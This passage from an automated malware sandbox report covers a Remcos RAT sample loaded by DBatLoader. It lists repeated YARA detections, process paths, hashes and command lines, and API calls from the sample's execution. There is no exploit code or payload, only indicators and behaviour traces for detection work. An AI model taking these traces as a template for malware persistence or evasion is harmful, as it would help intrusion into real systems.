00000004.00000003.2976227634.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.3158290079.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.2441068745.0000000000833000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.3188199822.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.4093967085.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.2449917599.00000000008D1000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.3302857825.00000000008D1000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.3035450983.00000000008B6000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.3114331731.00000000008B8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.2976227634.00000000008D1000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.2464044779.00000000008DC000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.3104851524.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.3856623990.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.2924688106.00000000008D0000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.3161654820.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.2907189978.0000000000836000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.2953713340.00000000008B8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.3756339158.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.2468471495.00000000008DC000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.2953713340.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.2505658675.00000000008DC000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.3154708447.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.4076981656.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.3398152282.00000000008D1000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.3856623990.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.3108448278.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.2441068745.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.4089190210.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.4164933098.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.3282868515.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.3026491234.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.2500770364.00000000008DC000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.3140335584.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.2990087085.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.2966180059.00000000008B5000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.3556121337.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.4196544203.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.2897470253.00000000008D0000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.3502452984.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.2897470253.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.3409189142.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.3208675091.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.3056499496.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.4190137392.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.2651773256.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.4160542671.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.2441068745.00000000008D7000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.2542929865.00000000008DC000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.2651773256.00000000008D1000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.3856623990.00000000008D1000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.3143777432.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.2578962565.00000000008DC000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.3214746265.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.3302857825.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.2699820103.00000000008D1000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.2441068745.00000000008C1000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.4081174679.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.4160542671.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.3195851585.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.3184396476.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.2681130552.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.2651773256.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.4160542671.00000000008D1000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.3180921443.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.3226849372.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.2851259856.00000000008B8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.4174702696.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.4128240945.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.4112862781.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.3035450983.00000000008D1000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.2441068745.00000000008CE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.3051742899.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.3097371106.00000000008B8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.4155612708.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.4193342497.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.3133149930.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.2590415900.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.2970099930.00000000008B8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.4186922519.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.4108402859.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.2473564906.00000000008DC000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.2571716341.00000000008DC000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.2986429967.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.2624186369.00000000008DD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.2449917599.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.3126775028.00000000008B8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.3147479864.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.3891529229.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.2990087085.00000000008D1000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.2924688106.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.4182981768.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.2449917599.00000000008DC000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.3177194621.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.4206966787.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.3166598662.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.2575632661.00000000008DC000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.3118446136.00000000008B8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.3129933999.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.3048020259.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.3211964788.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.3556121337.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.2597324711.00000000008DD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.3072775646.00000000008B6000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.3202677250.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.4203802144.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.3199136565.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.2855238771.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.2998039097.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.4150586108.0000000000832000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.4104689962.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.4149829264.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.3953749266.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.4190364611.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.2651773256.00000000008DD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.3903387699.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.2513853407.00000000008DC000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.2483626145.00000000008DC000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.2993705504.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.2500770364.00000000008D1000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.3282868515.00000000008D1000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.3170185059.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.4108651921.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.2500770364.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.4139785485.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.3282868515.00000000008B6000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.2665633974.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.2966180059.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.2509275795.00000000008DC000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.4149829264.00000000008D1000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.2571716341.00000000008D1000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.4155304442.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 66%, ReversingLabs Detection: 41%, Virustotal, Browse
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	12:29:09
Start date:	19/04/2024
Path:	C:\Users\Public\Libraries\Tuscpznj.PIF
Wow64 process (32bit):	true
Commandline:	"C:\Users\Public\Libraries\Tuscpznj.PIF"
Imagebase:	0x400000
File size:	1'139'200 bytes
MD5 hash:	111687A32C1B81BC69E1C1F1A8542A73
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000006.00000002.2269065709.0000000000677000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Remcos_b296e965, Description: unknown, Source: 00000006.00000002.2280916321.00000000157BB000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 00000006.00000002.2272940789.0000000004021000.00000020.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 66%, ReversingLabs Detection: 41%, Virustotal, Browse
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	12:29:17
Start date:	19/04/2024
Path:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\Skype\adode.exe"
Imagebase:	0x400000
File size:	1'139'200 bytes
MD5 hash:	111687A32C1B81BC69E1C1F1A8542A73
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	Borland Delphi
Yara matches:	Rule: Windows_Trojan_Remcos_b296e965, Description: unknown, Source: 00000007.00000002.2434683424.0000000015F1B000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 00000007.00000002.2426493802.0000000004081000.00000020.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000007.00000002.2434407266.0000000015D10000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000007.00000003.2417235143.0000000000936000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	12:29:26
Start date:	19/04/2024
Path:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\Skype\adode.exe"
Imagebase:	0x400000
File size:	1'139'200 bytes
MD5 hash:	111687A32C1B81BC69E1C1F1A8542A73
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000008.00000002.2508288522.0000000000887000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 00000008.00000002.2511367079.0000000003F31000.00000020.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000008.00000003.2503434982.0000000000885000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Remcos_b296e965, Description: unknown, Source: 00000008.00000002.2521921052.0000000015E9B000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	12:29:34
Start date:	19/04/2024
Path:	C:\Users\Public\Libraries\Tuscpznj.PIF
Wow64 process (32bit):	true
Commandline:	"C:\Users\Public\Libraries\Tuscpznj.PIF"
Imagebase:	0x400000
File size:	1'139'200 bytes
MD5 hash:	111687A32C1B81BC69E1C1F1A8542A73
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 0000000A.00000002.2546304222.0000000003F91000.00000020.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 0000000A.00000002.2534967306.000000000058C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Remcos_b296e965, Description: unknown, Source: 0000000A.00000002.2571697457.000000001566B000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	12:29:43
Start date:	19/04/2024
Path:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\Skype\adode.exe"
Imagebase:	0x400000
File size:	1'139'200 bytes
MD5 hash:	111687A32C1B81BC69E1C1F1A8542A73
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 0000000B.00000003.2666381721.00000000006FA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 0000000B.00000002.2678490823.0000000003F41000.00000020.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	4.1%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	22.9%
Total number of Nodes:	490
Total number of Limit Nodes:	23

Executed Functions

Function 03F7D5D0 Relevance: 218.7, APIs: 9, Strings: 111, Instructions: 8669COMMON

Download Yara Rule

APIs

InetIsOffline.URL(00000000,00000000,03F88FB6,?,?,?,00000000,00000000), ref: 03F7D604

Part of subcall function 03F77BE8: LoadLibraryW.KERNEL32(?,00000000,03F77C9A), ref: 03F77C18
Part of subcall function 03F77BE8: GetModuleHandleW.KERNEL32(?,?,00000000,03F77C9A), ref: 03F77C1E
Part of subcall function 03F77BE8: GetProcAddress.KERNEL32(00000000,00000000), ref: 03F77C37

Part of subcall function 03F67E18: GetFileAttributesA.KERNEL32(00000000,?,03F7E0EE,ScanString,03FC5344,03F88FEC,OpenSession,03FC5344,03F88FEC,ScanString,03FC5344,03F88FEC,UacScan,03FC5344,03F88FEC,UacInitialize), ref: 03F67E23

Part of subcall function 03F6C320: GetModuleFileNameA.KERNEL32(00000000,?,00000105,03FC55F0,?,03F7E40F,ScanBuffer,03FC5344,03F88FEC,OpenSession,03FC5344,03F88FEC,ScanBuffer,03FC5344,03F88FEC,OpenSession), ref: 03F6C337

Part of subcall function 03F7C4DC: RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,00000000,03F7C5AC), ref: 03F7C517
Part of subcall function 03F7C4DC: NtOpenFile.N(?,00100001,?,?,00000001,00000020,00000000,?,00000000,00000000,00000000,03F7C5AC), ref: 03F7C547
Part of subcall function 03F7C4DC: NtQueryInformationFile.N(?,?,?,00000018,00000005,?,00100001,?,?,00000001,00000020,00000000,?,00000000,00000000,00000000), ref: 03F7C55C
